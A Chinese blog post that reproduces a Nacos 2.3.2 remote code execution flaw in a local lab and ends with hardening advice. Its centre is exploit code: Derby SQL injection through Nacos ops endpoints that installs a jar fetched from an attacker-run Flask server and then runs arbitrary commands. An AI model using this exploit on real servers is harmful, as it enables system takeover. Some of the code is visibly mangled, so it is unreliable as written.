Nacos rce-0day漏洞复现(nacos 2.3.2)

Nacos rce-0day漏洞复现(nacos 2.3.2)

NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app=“NACOS”

在这里插入图片描述

从 Github 官方介绍文档可以看出国内不少大企业都在使用该系统,而从 issue 中也可以看出其 CVE 漏洞多且利用难度较低

Nacos系统历史CVE漏洞

1、CVE-2021-29441认证绕过
2、QVD-2023-6271默认密钥
3、CNVD-2020-67618 SQL注入
4、CNVD-2023-45001反序列化

搭建Nacos 2.3.2 环境

下载地址:https://github.com/alibaba/nacos/releases

在这里插入图片描述

1、解压nacos文件

在这里插入图片描述

2、创建nacos数据库

在这里插入图片描述

执行mysql-schema.sql文件
在这里插入图片描述

3、配置数据源nacos/conf/application.properties

在这里插入图片描述

4、配置startup.cmd

在这里插入图片描述

5、启动Nacos在bin目录下打开cmd,输入startup.cmd -m standalone启动

在这里插入图片描述

访问http://localhost:8848/nacos
在这里插入图片描述

漏洞分析

漏洞描述

RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。

漏洞的核心在于 Nacos 的某些接口没有严格的权限控制,攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据,从而执行任意代码。需要登录到后台才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷,攻击者能够通过特定的 JSON 数据结构,远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

poc

在Github上已删除
在这里插入图片描述

代码分析—service.py

Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config.py 模块中读取
在这里插入图片描述

#定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数,请求download接口就会返回jar的内容
@app.route(‘/download’)
def download_file():
#将Base64编码的payload 解码为二进制数据。
data = base64.b64decode(payload)
#创建一个HTTP响应对象,包含解码后的数据,并 设置MIME类型为 application/octet-stream(表示二进制文件)。
response = Response(data, mimetype=“application/octet-stream”)
#可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。
# response.headers[“Content-Disposition”] = “attachment; filename=file.bin”
#返回响应对象。
return response

代码分析—exploit.py

exploit.py会连接Nacos,然后请求Nacos的参数中注入了连接service.py的IP、端口,以及需要RCE的指令。请求到达nacos之后,利用deby数据库的漏洞,恶意请求service.py服务的接口,加载jar包内容。然后再输入RCE指令给jar包,运行这个命令。

在这里插入图片描述

#按装订区域中的绿色按钮以运行脚本

def exploit(target, command, service, args):
#构建用于发送请求的URL
removal_url = urljoin(target, ‘/nacos/v1/cs/ops/data/removal’)
derby_url = urljoin(target, ‘/nacos/v1/cs/ops/derby’)
print(“正在进行碰撞,请耐心等待!!”)
#循环----直到成功利用漏洞
for i in range(0, sys.maxsize):
#id:生成一个随机字符串,用于标识SQL注入的payload
id = ‘’.join(random.sample(‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’, 8))
#post_sql:构建SQL注入的payload,安装一个恶意的Java函数
post_sql = “”“CALL sqlj.install_jar(‘{service}’, ‘NACOS.{id}’, 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(‘derby.database.classpath’,‘NACOS.{id}’)\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME ‘test.poc.Example.exec’\n”“”.format(id=id, service=service);
#option_sql:构建SQL语句,利用恶意函数执行命令
option_sql = “UPDATE ROLES SET ROLE=‘1’ WHERE ROLE=‘1’ AND ROLE=S_EXAMPLE_{id}(‘{cmd}’)\n”.format(id=id, cmd=command);
#get_sql:构建SQL查询,执行命令并获取结果 get_sql = “select * from (select count(*) as b, S_EXAMPLE_{id}(‘{cmd}’) as a from config_info) tmp /ROWS FETCH NEXT/”.format(id=id, cmd=command);
# get_sql = “select * from users /ROWS FETCH NEXT/”.format(id=id,cmd=command);
files = {‘file’: post_sql}
#requests.post:发送POST请求,上传恶意SQL
#requests.get:发送GET请求,执行命令并获取结果。
post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
post_json = post_resp.json()
if args.url:
print(post_json)
if (post_json[‘code’] == 404 or post_json[‘code’] == 403) and “File” not in post_json[‘message’]:
print(Fore.YELLOW + f"[-] {target} 可能不存在Nacos_Rce漏洞\n" + Fore.RESET)
break
if post_json.get(‘message’, None) is None and post_json.get(‘data’, None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={‘sql’: get_sql}, verify=False, headers=header,
timeout=5)
print(Fore.RED + f"\n[+] {target} 存在Nacos_Rce漏洞,执行命令:{command}" + Fore.RESET)
print(Fore.RED + f"[+] 返回的结果如下: {get_resp.text}" + Fore.RESET)
break

if name == ‘main’:
#service:构建下载恶意Jar文件的URL。
service = ‘http://{host}:{port}/download’.format(host=config.server_host, port=config.server_port)
#target 和 command:从用户输入获取目标URL和要执行的命令。
target = ‘http://127.0.0.1:8848’
command = ‘calc’
target = input(‘请输入目录URL,默认:http://127.0.0.1:8848:’) or target
command = input(‘请输入命令,默认:calc:’) or command
#exploit:调用漏洞利用函数。
exploit(target=target, command=command, service=service)

漏洞复现

第一步:安装依赖requests和flask在这里插入图片描述

第二步:配置config.py中的ip和端口,需要安装依赖
在这里插入图片描述

第三步;启动恶意服务端:python server.py,把上面的恶意类通过b64压缩处理,加载在fask服务端当作服务器资源
在这里插入图片描述
第四步:执行exploit.py,输入命令即可执行.默认执行calc
在这里插入图片描述

安全加固建议

  • 对于使用单机模式的用户,Nacos社区建议开启鉴权机制以增强安全性。这可以通过设置相关配置实现,确保他人无法滥用接口。
  • 在文件application.properties开启鉴权

开启鉴权之前
在这里插入图片描述

开启鉴权之后
在这里插入图片描述


http://www.niftyadmin.cn/n/5658450.html

相关文章

合宙Air201资产定位模组LuatOS:开机容易关机难?PWRKEY控制来帮忙

我们很多小伙伴已经学习了5期课程:hello world初体验、点灯、远程控制、定位应用、扩展功能,合宙Air201,如同我们一路升级打怪的得力法器,让开发愈发得心应手。 本期,我们将进一步学习合宙Air201应用示例——PWRKEY控…

智能电表在什么情况下需要加装互感器?

一、引言 智能电表作为现代电力计量系统的核心设备,其准确性和可靠性对于电力公司的计费和服务质量至关重要。然而,在某些情况下,为了确保智能电表能够准确计量高电流或高电压的电能,需要加装互感器来辅助测量。本文将详细探讨智…

C#基础(12)递归函数

前言 我们先前已经做了好几个函数的知识补充,今天将会是最后一个函数知识的补充:递归函数。 递归这个东西,看着吓人,其实很简单。我们先来问下gpt让他解释一下吧。 递归函数是一种函数,它在其定义中调用自身。在每次…

LangChain基本使用

1.主要功能和应用场景 LangChain 的一些主要功能和应用场景: 构建自己的聊天机器人:使用 LangChain 的 LLM(大型语言模型)接口、提示模板和记忆选项,可以开发一个能够保留对话历史记录的聊天机器人。 特定文档的问答功能:通过为自己的文档创建索引,可以在文档中进行检索…

Linux内核编译并移植至ARM平台

Linux内核编译并移植至ARM平台 Linux系统相关概念操作系统的启动过程获取树莓派源码Linux内核源代码目录树结构 树莓派Linux源码配置树莓派Linux内核编译移植内核至树莓派 Linux系统相关概念 操作系统的启动过程 x86,Intel的启动过程: 电源上电 -> B…

92、K8s之ingress下集

一、ingress 1.1、两种部署方式 1、ingress------------deployment nodeport ​ daemonset hostnetwork----每台设备只能有一个pod,因为直接使用宿主机的端口,所以只能开启一个pod。 2、ingress------svc------deployment里面的pod,这种…

喧嚣漫天之际,重新审视以太坊的定位与路线图

价值捕获很重要,但现在讨论为时尚早。 作者:Mike Neuder(以太坊基金会研究员);译者:Azuma;编辑:郝方舟 出品 | Odaily星球日报(ID:o-daily) 编者按…

最新热点!结合创新!小样本学习+CLIP:超好上手的思路,爽发顶会顶刊

今天给大家推荐一个很好上手的创新思路:小样本学习CLIP。 这个思路的优势在于:通过利用CLIP模型强大的跨模态表征能力,再结合小样本学习技术,我们就可以在仅提供少量标注样本的情况下,快速适应新的任务,在…